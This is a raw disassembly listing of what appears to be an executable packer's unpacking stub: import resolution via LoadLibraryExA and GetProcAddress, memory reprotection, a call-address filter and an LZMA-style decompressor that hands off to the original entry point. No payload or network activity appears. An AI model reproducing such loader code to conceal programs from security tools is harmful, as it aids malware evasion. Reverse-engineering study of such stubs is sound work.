ds:dword_4A311C ; LoadLibraryExA mov [ebp+var_23C], eax loc_4A3873: ; CODE XREF: start+42Fj cmp [ebp+var_23C], 0 jnz short loc_4A38C5 mov edi, [ebp+var_10C] mov eax, [ebp+var_24C] lea eax, [ebp+eax+var_104] mov edx, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 8 push 0 lea eax, [ebp+var_104] push eax call ds:dword_4A311C ; LoadLibraryExA mov [ebp+var_23C], eax loc_4A38C5: ; CODE XREF: start+44Ej cmp [ebp+var_23C], 0 jnz short loc_4A38D3 jmp loc_4A3A6F ; --------------------------------------------------------------------------- loc_4A38D3: ; CODE XREF: start+4A0j mov eax, [ebp+var_244] mov ecx, ds:dword_4A3008 add ecx, [eax+10h] mov [ebp+var_21C], ecx mov eax, [ebp+var_244] cmp dword ptr [eax], 0 jnz short loc_4A3901 mov eax, [ebp+var_21C] mov [ebp-214h], eax jmp short loc_4A3915 ; --------------------------------------------------------------------------- loc_4A3901: ; CODE XREF: start+4C5j mov eax, [ebp+var_244] mov ecx, ds:dword_4A3008 add ecx, [eax] mov [ebp-214h], ecx loc_4A3915: ; CODE XREF: start+4D3j start+5B5j mov eax, [ebp-214h] cmp dword ptr [eax], 0 jz loc_4A39E6 and [ebp+var_250], 0 mov eax, [ebp-214h] mov eax, [eax] and eax, 80000000h test eax, eax jz short loc_4A3961 mov eax, [ebp-214h] mov eax, [eax] and eax, 0FFFFh movzx eax, ax push eax push [ebp+var_23C] call ds:dword_4A3118 ; GetProcAddress mov [ebp+var_250], eax jmp short loc_4A3990 ; --------------------------------------------------------------------------- loc_4A3961: ; CODE XREF: start+50Ej mov eax, [ebp-214h] mov eax, [eax] add eax, ds:dword_4A3008 mov [ebp+var_108], eax mov eax, [ebp+var_108] inc eax inc eax push eax push [ebp+var_23C] call ds:dword_4A3118 ; GetProcAddress mov [ebp+var_250], eax loc_4A3990: ; CODE XREF: start+533j cmp [ebp+var_250], 0 jnz short loc_4A399E jmp loc_4A3A6D ; --------------------------------------------------------------------------- loc_4A399E: ; CODE XREF: start+56Bj lea eax, [ebp+var_234] push eax push 40h push 4 push [ebp+var_21C] call ds:dword_4A3124 ; VirtualProtect mov eax, [ebp+var_21C] mov ecx, [ebp+var_250] mov [eax], ecx mov eax, [ebp-214h] add eax, 4 mov [ebp-214h], eax mov eax, [ebp+var_21C] add eax, 4 mov [ebp+var_21C], eax jmp loc_4A3915 ; --------------------------------------------------------------------------- loc_4A39E6: ; CODE XREF: start+4F2j mov eax, [ebp+var_244] add eax, 14h mov [ebp+var_244], eax jmp loc_4A37F7 ; --------------------------------------------------------------------------- loc_4A39FA: ; CODE XREF: start+3D5j start+3E4j mov eax, ds:off_4A3004 mov ecx, ds:dword_4A3008 add ecx, [eax+48h] mov ds:off_4A301C, ecx loc_4A3A0E: ; CODE XREF: start+5Cj cmp ds:dword_4A3010, 0 jz short loc_4A3A2A push 8000h push 0 push ds:dword_4A3010 call ds:dword_4A310C ; VirtualFree loc_4A3A2A: ; CODE XREF: start+5E9j mov eax, ds:off_4A301C pop edi pop esi pop ebx mov esp, ebp pop ebp push eax mov eax, ds:off_4A3004 cmp dword ptr [eax+48h], 0 jnz short loc_4A3A46 pop eax xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_4A3A46: ; CODE XREF: start+613j pop eax jmp eax ; --------------------------------------------------------------------------- loc_4A3A49: ; CODE XREF: start:loc_4A3A6Dj ; start:loc_4A3A6Fj ... cmp ds:dword_4A3010, 0 jz short loc_4A3A65 push 8000h push 0 push ds:dword_4A3010 call ds:dword_4A310C ; VirtualFree loc_4A3A65: ; CODE XREF: start+624j push 0 call ds:dword_4A3114 ; ExitProcess loc_4A3A6D: ; CODE XREF: start+56Dj jmp short loc_4A3A49 ; --------------------------------------------------------------------------- loc_4A3A6F: ; CODE XREF: start+4A2j jmp short loc_4A3A49 ; --------------------------------------------------------------------------- loc_4A3A71: ; CODE XREF: start+192j jmp short loc_4A3A49 ; --------------------------------------------------------------------------- loc_4A3A73: ; CODE XREF: start+4Ej jmp short loc_4A3A49 start endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3A75 proc near ; CODE XREF: sub_4A3344+CAp var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi push 1 mov esi, [ebp+arg_C] pop ecx mov [ebp+var_2C], ecx mov [ebp+var_28], ecx mov [ebp+var_24], ecx xor eax, eax and [ebp+var_C], al mov [ebp+var_1C], ecx mov [ebp+var_B], cl mov ecx, [ebp+arg_4] add ecx, 0FFFFFFFBh mov [ebp+var_20], eax mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_A], 2 mov [ebp+var_9], 2 mov [ebp+var_8], 3 mov [ebp+var_7], 3 mov [ebp+var_6], 3 mov [ebp+var_5], 3 mov [ebp+var_4], ecx loc_4A3AC5: ; CODE XREF: sub_4A3A75+16Fj mov edi, [ebp+arg_0] mov cl, [eax+edi] cmp cl, 0E8h jz short loc_4A3ADB cmp cl, 0E9h jz short loc_4A3ADB inc eax jmp loc_4A3BE1 ; --------------------------------------------------------------------------- loc_4A3ADB: ; CODE XREF: sub_4A3A75+59j ; sub_4A3A75+5Ej mov edx, [ebp+arg_10] mov ebx, [ebp+arg_8] mov ecx, eax sub ecx, [edx] add ecx, ebx add ebx, eax cmp ecx, 5 mov [edx], ebx jbe short loc_4A3AF5 and dword ptr [esi], 0 jmp short loc_4A3B05 ; --------------------------------------------------------------------------- loc_4A3AF5: ; CODE XREF: sub_4A3A75+79j test ecx, ecx jbe short loc_4A3B05 loc_4A3AF9: ; CODE XREF: sub_4A3A75+8Ej mov edx, [esi] and edx, 77h shl edx, 1 dec ecx mov [esi], edx jnz short loc_4A3AF9 loc_4A3B05: ; CODE XREF: sub_4A3A75+7Ej ; sub_4A3A75+82j mov dl, [eax+edi+4] test dl, dl jz short loc_4A3B16 cmp dl, 0FFh jnz loc_4A3BCD loc_4A3B16: ; CODE XREF: sub_4A3A75+96j mov ecx, [esi] mov [ebp+arg_4], ecx shr [ebp+arg_4], 1 mov ebx, [ebp+arg_4] and ebx, 7 cmp [ebp+ebx*4+var_2C], 0 jz loc_4A3BCD and ecx, 0FFFFFFFEh cmp ecx, 20h jnb loc_4A3BCD xor ecx, ecx mov ch, dl mov cl, [eax+edi+3] movzx edx, byte ptr [eax+edi+2] shl ecx, 8 or ecx, edx movzx edx, byte ptr [eax+edi+1] shl ecx, 8 or edx, ecx loc_4A3B57: ; CODE XREF: sub_4A3A75+125j sub edx, eax sub edx, [ebp+arg_8] sub edx, 5 cmp dword ptr [esi], 0 mov ebx, edx jz short loc_4A3B9F mov ecx, [ebp+arg_4] push 18h movzx edi, [ebp+ecx+var_C] mov ecx, edi shl ecx, 3 mov edx, ecx pop ecx sub ecx, edx mov edx, ebx shr edx, cl test dl, dl jz short loc_4A3B87 cmp dl, 0FFh jnz short loc_4A3B9C loc_4A3B87: ; CODE XREF: sub_4A3A75+10Bj push 4 pop ecx sub ecx, edi push 1 shl ecx, 3 pop edx mov edi, [ebp+arg_0] shl edx, cl dec edx xor edx, ebx jmp short loc_4A3B57 ; --------------------------------------------------------------------------- loc_4A3B9C: ; CODE XREF: sub_4A3A75+110j mov edi, [ebp+arg_0] loc_4A3B9F: ; CODE XREF: sub_4A3A75+EFj mov ecx, ebx add eax, 5 shr ecx, 18h and cl, 1 dec cl not cl mov [eax+edi-1], cl mov ecx, ebx shr ecx, 10h mov [eax+edi-2], cl mov ecx, ebx shr ecx, 8 mov [eax+edi-3], cl mov [eax+edi-4], bl and dword ptr [esi], 0 jmp short loc_4A3BE1 ; --------------------------------------------------------------------------- loc_4A3BCD: ; CODE XREF: sub_4A3A75+9Bj ; sub_4A3A75+B4j ... or dword ptr [esi], 1 mov ecx, [esi] inc eax test dl, dl jz short loc_4A3BDC cmp dl, 0FFh jnz short loc_4A3BE1 loc_4A3BDC: ; CODE XREF: sub_4A3A75+160j or ecx, 10h mov [esi], ecx loc_4A3BE1: ; CODE XREF: sub_4A3A75+61j ; sub_4A3A75+156j ... cmp eax, [ebp+var_4] jbe loc_4A3AC5 pop edi pop esi pop ebx leave retn sub_4A3A75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3BEF proc near ; CODE XREF: sub_4A3E82+309p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] push esi xor eax, eax mov esi, [ecx+8] push edi mov edi, [ecx+0Ch] test edx, edx jle short loc_4A3C47 push ebx mov [ebp+arg_0], edx loc_4A3C0A: ; CODE XREF: sub_4A3BEF+55j shr esi, 1 shl eax, 1 cmp edi, esi jb short loc_4A3C16 sub edi, esi or al, 1 loc_4A3C16: ; CODE XREF: sub_4A3BEF+21j cmp esi, 1000000h jnb short loc_4A3C41 mov edx, [ecx] shl esi, 8 cmp edx, [ecx+4] jnz short loc_4A3C34 mov dword ptr [ecx+10h], 1 or bl, 0FFh jmp short loc_4A3C39 ; --------------------------------------------------------------------------- loc_4A3C34: ; CODE XREF: sub_4A3BEF+37j mov bl, [edx] inc edx mov [ecx], edx loc_4A3C39: ; CODE XREF: sub_4A3BEF+43j movzx edx, bl shl edi, 8 or edi, edx loc_4A3C41: ; CODE XREF: sub_4A3BEF+2Dj dec [ebp+arg_0] jnz short loc_4A3C0A pop ebx loc_4A3C47: ; CODE XREF: sub_4A3BEF+15j mov [ecx+0Ch], edi mov [ecx+8], esi pop edi pop esi pop ebp retn sub_4A3BEF endp ; =============== S U B R O U T I N E ======================================= sub_4A3C51 proc near ; CODE XREF: sub_4A3D16+1Dp ; sub_4A3D4D+1Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] mov edx, [esp+arg_0] push esi push edi mov eax, [ecx+8] movzx esi, word ptr [edx] mov edi, eax shr edi, 0Bh imul edi, esi mov esi, [ecx+0Ch] cmp esi, edi jnb short loc_4A3CC2 mov [ecx+8], edi mov ax, [edx] movzx esi, ax mov edi, 800h sub edi, esi sar edi, 5 add edi, eax mov [edx], di mov eax, [ecx+8] cmp eax, 1000000h jnb short loc_4A3CBE mov esi, [ecx] cmp esi, [ecx+4] jnz short loc_4A3CA5 mov dword ptr [ecx+10h], 1 or dl, 0FFh jmp short loc_4A3CAA ; --------------------------------------------------------------------------- loc_4A3CA5: ; CODE XREF: sub_4A3C51+46j mov dl, [esi] inc esi mov [ecx], esi loc_4A3CAA: ; CODE XREF: sub_4A3C51+52j mov esi, [ecx+0Ch] movzx edx, dl shl esi, 8 or esi, edx shl eax, 8 mov [ecx+0Ch], esi mov [ecx+8], eax loc_4A3CBE: ; CODE XREF: sub_4A3C51+3Fj xor eax, eax jmp short loc_4A3D13 ; --------------------------------------------------------------------------- loc_4A3CC2: ; CODE XREF: sub_4A3C51+1Dj sub eax, edi sub esi, edi mov [ecx+8], eax mov [ecx+0Ch], esi mov ax, [edx] push 1 mov si, ax shr si, 5 sub eax, esi mov [edx], ax mov edx, [ecx+8] cmp edx, 1000000h pop eax jnb short loc_4A3D13 mov esi, [ecx] push ebx cmp esi, [ecx+4] jnz short loc_4A3CF9 mov [ecx+10h], eax or bl, 0FFh jmp short loc_4A3CFE ; --------------------------------------------------------------------------- loc_4A3CF9: ; CODE XREF: sub_4A3C51+9Ej mov bl, [esi] inc esi mov [ecx], esi loc_4A3CFE: ; CODE XREF: sub_4A3C51+A6j mov esi, [ecx+0Ch] movzx edi, bl shl esi, 8 or esi, edi pop ebx shl edx, 8 mov [ecx+0Ch], esi mov [ecx+8], edx loc_4A3D13: ; CODE XREF: sub_4A3C51+6Fj ; sub_4A3C51+96j pop edi pop esi retn sub_4A3C51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3D16 proc near ; CODE XREF: sub_4A3E0D+26p ; sub_4A3E0D+51p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push 1 pop eax jle short loc_4A3D41 push esi push edi mov edi, [ebp+arg_4] loc_4A3D27: ; CODE XREF: sub_4A3D16+27j push [ebp+arg_8] lea esi, [eax+eax] mov eax, [ebp+arg_0] add eax, esi push eax call sub_4A3C51 pop ecx add eax, esi dec edi pop ecx jnz short loc_4A3D27 pop edi pop esi loc_4A3D41: ; CODE XREF: sub_4A3D16+Aj mov ecx, [ebp+arg_4] push 1 pop edx shl edx, cl sub eax, edx pop ebp retn sub_4A3D16 endp ; =============== S U B R O U T I N E ======================================= sub_4A3D4D proc near ; CODE XREF: sub_4A3E82+2F5p ; sub_4A3E82+320p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push edi xor ebx, ebx push 1 xor edi, edi cmp [esp+0Ch+arg_4], ebx pop edx jle short loc_4A3D83 push esi loc_4A3D5D: ; CODE XREF: sub_4A3D4D+33j mov eax, [esp+0Ch+arg_0] push [esp+0Ch+arg_8] lea esi, [edx+edx] add eax, esi push eax call sub_4A3C51 pop ecx lea edx, [esi+eax] pop ecx mov ecx, edi shl eax, cl or ebx, eax inc edi cmp edi, [esp+0Ch+arg_4] jl short loc_4A3D5D pop esi loc_4A3D83: ; CODE XREF: sub_4A3D4D+Dj mov eax, ebx pop edi pop ebx retn sub_4A3D4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3D88 proc near ; CODE XREF: sub_4A3E82+143p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ebx push esi movzx esi, [ebp+arg_8] shr esi, 7 shl [ebp+arg_8], 1 mov eax, esi push edi mov edi, [ebp+arg_0] push [ebp+arg_4] shl eax, 9 lea eax, [eax+edi+202h] push eax call sub_4A3C51 pop ecx mov ebx, eax pop ecx or ebx, 2 loc_4A3DB7: ; CODE XREF: sub_4A3D88+5Fj cmp esi, eax jnz short loc_4A3DE9 cmp ebx, 100h jge short loc_4A3E06 movzx esi, [ebp+arg_8] shr esi, 7 push [ebp+arg_4] lea eax, [esi+1] shl [ebp+arg_8], 1 shl eax, 8 add eax, ebx lea eax, [edi+eax*2] push eax call sub_4A3C51 pop ecx add ebx, ebx pop ecx or ebx, eax jmp short loc_4A3DB7 ; --------------------------------------------------------------------------- loc_4A3DE9: ; CODE XREF: sub_4A3D88+31j mov esi, 100h loc_4A3DEE: ; CODE XREF: sub_4A3D88+7Cj cmp ebx, esi jge short loc_4A3E06 push [ebp+arg_4] add ebx, ebx lea eax, [ebx+edi] push eax call sub_4A3C51 pop ecx or ebx, eax pop ecx jmp short loc_4A3DEE ; --------------------------------------------------------------------------- loc_4A3E06: ; CODE XREF: sub_4A3D88+39j ; sub_4A3D88+68j pop edi mov al, bl pop esi pop ebx pop ebp retn sub_4A3D88 endp ; =============== S U B R O U T I N E ======================================= sub_4A3E0D proc near ; CODE XREF: sub_4A3E82+24Fp ; sub_4A3E82+29Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push edi push esi call sub_4A3C51 pop ecx pop ecx test eax, eax push edi jnz short loc_4A3E3D mov eax, [esp+0Ch+arg_8] push 3 shl eax, 4 lea eax, [eax+esi+4] push eax call sub_4A3D16 add esp, 0Ch jmp short loc_4A3E7F ; --------------------------------------------------------------------------- loc_4A3E3D: ; CODE XREF: sub_4A3E0D+16j lea eax, [esi+2] push eax call sub_4A3C51 pop ecx pop ecx test eax, eax push edi jnz short loc_4A3E6B mov eax, [esp+0Ch+arg_8] push 3 shl eax, 4 lea eax, [eax+esi+104h] push eax call sub_4A3D16 add esp, 0Ch add eax, 8 jmp short loc_4A3E7F ; --------------------------------------------------------------------------- loc_4A3E6B: ; CODE XREF: sub_4A3E0D+3Ej add esi, 204h push 8 push esi call sub_4A3D16 add esp, 0Ch add eax, 10h loc_4A3E7F: ; CODE XREF: sub_4A3E0D+2Ej ; sub_4A3E0D+5Cj pop edi pop esi retn sub_4A3E0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3E82 proc near ; CODE XREF: sub_4A3344+95p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp sub esp, 34h mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_C] push 1 pop edx xor bl, bl lea ecx, [eax+edi] mov eax, 300h shl eax, cl xor ecx, ecx mov esi, edx mov [ebp+var_4], ecx mov [ebp+var_14], ecx mov [ebp+arg_C], ecx mov ecx, [ebp+arg_10] shl esi, cl add eax, 736h mov ecx, edi mov [ebp+var_8], edx mov [ebp+var_10], edx mov [ebp+var_C], edx mov [ebp+var_18], edx dec esi mov [ebp+var_1C], esi mov esi, edx shl esi, cl dec esi mov [ebp+var_20], esi mov esi, [ebp+arg_0] test eax, eax jbe short loc_4A3EEA mov ecx, eax mov eax, 4000400h mov edi, esi shr ecx, 1 rep stosd adc ecx, ecx rep stosw loc_4A3EEA: ; CODE XREF: sub_4A3E82+54j mov eax, [ebp+arg_14] mov ecx, [ebp+arg_18] and [ebp+var_24], 0 and [ebp+var_28], 0 or [ebp+var_2C], 0FFFFFFFFh lea edi, [eax+ecx] mov [ebp+var_34], eax mov [ebp+var_30], edi mov [ebp+arg_10], 5 loc_4A3F0C: ; CODE XREF: sub_4A3E82+AFj cmp [ebp+var_34], edi jnz short loc_4A3F18 mov [ebp+var_24], edx or al, 0FFh jmp short loc_4A3F20 ; --------------------------------------------------------------------------- loc_4A3F18: ; CODE XREF: sub_4A3E82+8Dj mov eax, [ebp+var_34] mov al, [eax] inc [ebp+var_34] loc_4A3F20: ; CODE XREF: sub_4A3E82+94j mov ecx, [ebp+var_28] movzx eax, al shl ecx, 8 or ecx, eax dec [ebp+arg_10] mov [ebp+var_28], ecx jnz short loc_4A3F0C mov eax, [ebp+arg_24] and dword ptr [eax], 0 cmp [ebp+arg_20], 0 jbe loc_4A41E8 loc_4A3F43: ; CODE XREF: sub_4A3E82+360j mov edi, [ebp+var_1C] lea eax, [ebp+var_34] and edi, [ebp+arg_C] push eax mov eax, [ebp+var_4] shl eax, 4 add eax, edi lea eax, [esi+eax*2] push eax call sub_4A3C51 pop ecx test eax, eax pop ecx jnz loc_4A3FF8 mov edx, [ebp+var_20] mov cl, 8 sub cl, byte ptr [ebp+arg_8] and edx, [ebp+arg_C] movzx eax, bl shr eax, cl mov ecx, [ebp+arg_8] shl edx, cl add eax, edx lea eax, [eax+eax*2] shl eax, 9 cmp [ebp+var_4], 4 lea edi, [eax+esi+0E6Ch] jge short loc_4A3F98 and [ebp+var_4], 0 jmp short loc_4A3FA8 ; --------------------------------------------------------------------------- loc_4A3F98: ; CODE XREF: sub_4A3E82+10Ej cmp [ebp+var_4], 0Ah jge short loc_4A3FA4 sub [ebp+var_4], 3 jmp short loc_4A3FA8 ; --------------------------------------------------------------------------- loc_4A3FA4: ; CODE XREF: sub_4A3E82+11Aj sub [ebp+var_4], 6 loc_4A3FA8: ; CODE XREF: sub_4A3E82+114j ; sub_4A3E82+120j cmp [ebp+var_14], 0 jz short loc_4A3FD5 mov eax, [ebp+arg_C] mov ecx, [ebp+arg_1C] sub eax, [ebp+var_8] mov al, [eax+ecx] mov byte ptr [ebp+arg_10], al lea eax, [ebp+var_34] push [ebp+arg_10] push eax push edi call sub_4A3D88 add esp, 0Ch and [ebp+var_14], 0 mov bl, al jmp short loc_4A3FF3 ; --------------------------------------------------------------------------- loc_4A3FD5: ; CODE XREF: sub_4A3E82+12Aj push 1 pop ebx loc_4A3FD8: ; CODE XREF: sub_4A3E82+16Fj add ebx, ebx lea eax, [ebp+var_34] push eax lea eax, [ebx+edi] push eax call sub_4A3C51 or ebx, eax pop ecx cmp ebx, 100h pop ecx jl short loc_4A3FD8 loc_4A3FF3: ; CODE XREF: sub_4A3E82+151j mov eax, [ebp+arg_1C] jmp short loc_4A406B ; --------------------------------------------------------------------------- loc_4A3FF8: ; CODE XREF: sub_4A3E82+E0j mov ebx, [ebp+var_4] lea eax, [ebp+var_34] push eax mov [ebp+var_14], 1 lea eax, [esi+ebx*2+180h] push eax call sub_4A3C51 pop ecx cmp eax, 1 pop ecx jnz loc_4A40F1 lea eax, [ebp+var_34] push eax lea eax, [esi+ebx*2+198h] push eax call sub_4A3C51 pop ecx test eax, eax pop ecx lea eax, [ebp+var_34] push eax jnz short loc_4A4079 lea eax, [ebx+0Fh] shl eax, 4 add eax, edi lea eax, [esi+eax*2] push eax call sub_4A3C51 pop ecx test eax, eax pop ecx jnz short loc_4A40C5 cmp ebx, 7 mov ecx, [ebp+arg_C] setnl al dec eax and al, 0FEh add eax, 0Bh sub ecx, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+arg_1C] mov bl, [ecx+eax] loc_4A406B: ; CODE XREF: sub_4A3E82+174j mov ecx, [ebp+arg_C] inc [ebp+arg_C] mov [ecx+eax], bl jmp loc_4A41DC ; --------------------------------------------------------------------------- loc_4A4079: ; CODE XREF: sub_4A3E82+1B5j lea eax, [esi+ebx*2+1B0h] push eax call sub_4A3C51 pop ecx test eax, eax pop ecx jnz short loc_4A4091 mov eax, [ebp+var_10] jmp short loc_4A40BC ; --------------------------------------------------------------------------- loc_4A4091: ; CODE XREF: sub_4A3E82+208j lea eax, [ebp+var_34] push eax lea eax, [esi+ebx*2+1C8h] push eax call sub_4A3C51 pop ecx test eax, eax pop ecx jnz short loc_4A40AD mov eax, [ebp+var_C] jmp short loc_4A40B6 ; --------------------------------------------------------------------------- loc_4A40AD: ; CODE XREF: sub_4A3E82+224j mov ecx, [ebp+var_C] mov eax, [ebp+var_18] mov [ebp+var_18], ecx loc_4A40B6: ; CODE XREF: sub_4A3E82+229j mov ecx, [ebp+var_10] mov [ebp+var_C], ecx loc_4A40BC: ; CODE XREF: sub_4A3E82+20Dj mov ecx, [ebp+var_8] mov [ebp+var_8], eax mov [ebp+var_10], ecx loc_4A40C5: ; CODE XREF: sub_4A3E82+1CCj lea eax, [ebp+var_34] push edi push eax lea eax, [esi+0A68h] push eax call sub_4A3E0D mov edi, eax add esp, 0Ch xor eax, eax cmp ebx, 7 setnl al dec eax and al, 0FDh add eax, 0Bh mov [ebp+var_4], eax jmp loc_4A41B5 ; --------------------------------------------------------------------------- loc_4A40F1: ; CODE XREF: sub_4A3E82+196j mov eax, [ebp+var_C] push edi mov [ebp+var_18], eax mov eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_8] mov [ebp+var_10], eax xor eax, eax cmp ebx, 7 setnl al dec eax and al, 0FDh add eax, 0Ah mov [ebp+var_4], eax lea eax, [ebp+var_34] push eax lea eax, [esi+664h] push eax call sub_4A3E0D mov edi, eax add esp, 0Ch cmp edi, 4 jge short loc_4A4131 jmp short loc_4A4134 ; --------------------------------------------------------------------------- loc_4A4131: ; CODE XREF: sub_4A3E82+2ABj push 3 pop eax loc_4A4134: ; CODE XREF: sub_4A3E82+2ADj shl eax, 7 lea ecx, [ebp+var_34] push ecx lea eax, [eax+esi+360h] push 6 push eax call sub_4A3D16 add esp, 0Ch cmp eax, 4 jl short loc_4A41AC mov ecx, eax mov ebx, eax sar ecx, 1 and ebx, 1 dec ecx or ebx, 2 shl ebx, cl cmp eax, 0Eh jge short loc_4A4183 lea edx, [ebp+var_34] push edx push ecx mov ecx, ebx sub ecx, eax lea eax, [esi+ecx*2+55Eh] push eax call sub_4A3D4D add esp, 0Ch loc_4A417F: ; CODE XREF: sub_4A3E82+328j add ebx, eax jmp short loc_4A41B1 ; --------------------------------------------------------------------------- loc_4A4183: ; CODE XREF: sub_4A3E82+2E2j add ecx, 0FFFFFFFCh lea eax, [ebp+var_34] push ecx push eax call sub_4A3BEF shl eax, 4 add ebx, eax lea eax, [ebp+var_34] push eax lea eax, [esi+644h] push 4 push eax call sub_4A3D4D add esp, 14h jmp short loc_4A417F ; --------------------------------------------------------------------------- loc_4A41AC: ; CODE XREF: sub_4A3E82+2CEj mov [ebp+var_8], eax mov ebx, eax loc_4A41B1: ; CODE XREF: sub_4A3E82+2FFj inc ebx mov [ebp+var_8], ebx loc_4A41B5: ; CODE XREF: sub_4A3E82+26Aj cmp [ebp+var_8], 0 jz short loc_4A41E8 inc edi inc edi loc_4A41BD: ; CODE XREF: sub_4A3E82+358j mov ecx, [ebp+arg_C] mov eax, [ebp+arg_1C] mov edx, ecx sub edx, [ebp+var_8] mov bl, [edx+eax] mov [ecx+eax], bl inc ecx dec edi mov [ebp+arg_C], ecx test edi, edi jle short loc_4A41DC cmp ecx, [ebp+arg_20] jb short loc_4A41BD loc_4A41DC: ; CODE XREF: sub_4A3E82+1F2j ; sub_4A3E82+353j mov eax, [ebp+arg_C] cmp eax, [ebp+arg_20] jb loc_4A3F43 loc_4A41E8: ; CODE XREF: sub_4A3E82+BBj ; sub_4A3E82+337j mov ecx, [ebp+arg_24] mov eax, [ebp+arg_C] pop edi pop esi mov [ecx], eax xor eax, eax pop ebx leave retn sub_4A3E82 endp ; --------------------------------------------------------------------------- align 10h dword_4A4200 dd 0DCh, 0Dh dup(0) ; DATA XREF: .ex_cod:off_4A3004o dd 8B000h, 16890h, 400h, 8C000h, 198E4h, 1, 0A342Ch, 400000h dd 10Fh, 24104h, 5 dup(0) dd 3AE00h, 4, 1, 400h, 0FE0Ch, 1000h, 21E74h, 60000020h dd 1, 1020Ch, 0DF2h, 23000h, 1C20h, 40000040h, 1, 10FFEh dd 5C70h, 25000h, 65B40h, 0C0000040h, 1, 16C6Eh, 22h db 0, 0B0h, 8 _ex_cod ends ; Section 4. (virtual address 000A5000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 000A4400 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 4A5000h align 2000h _idata2 ends end start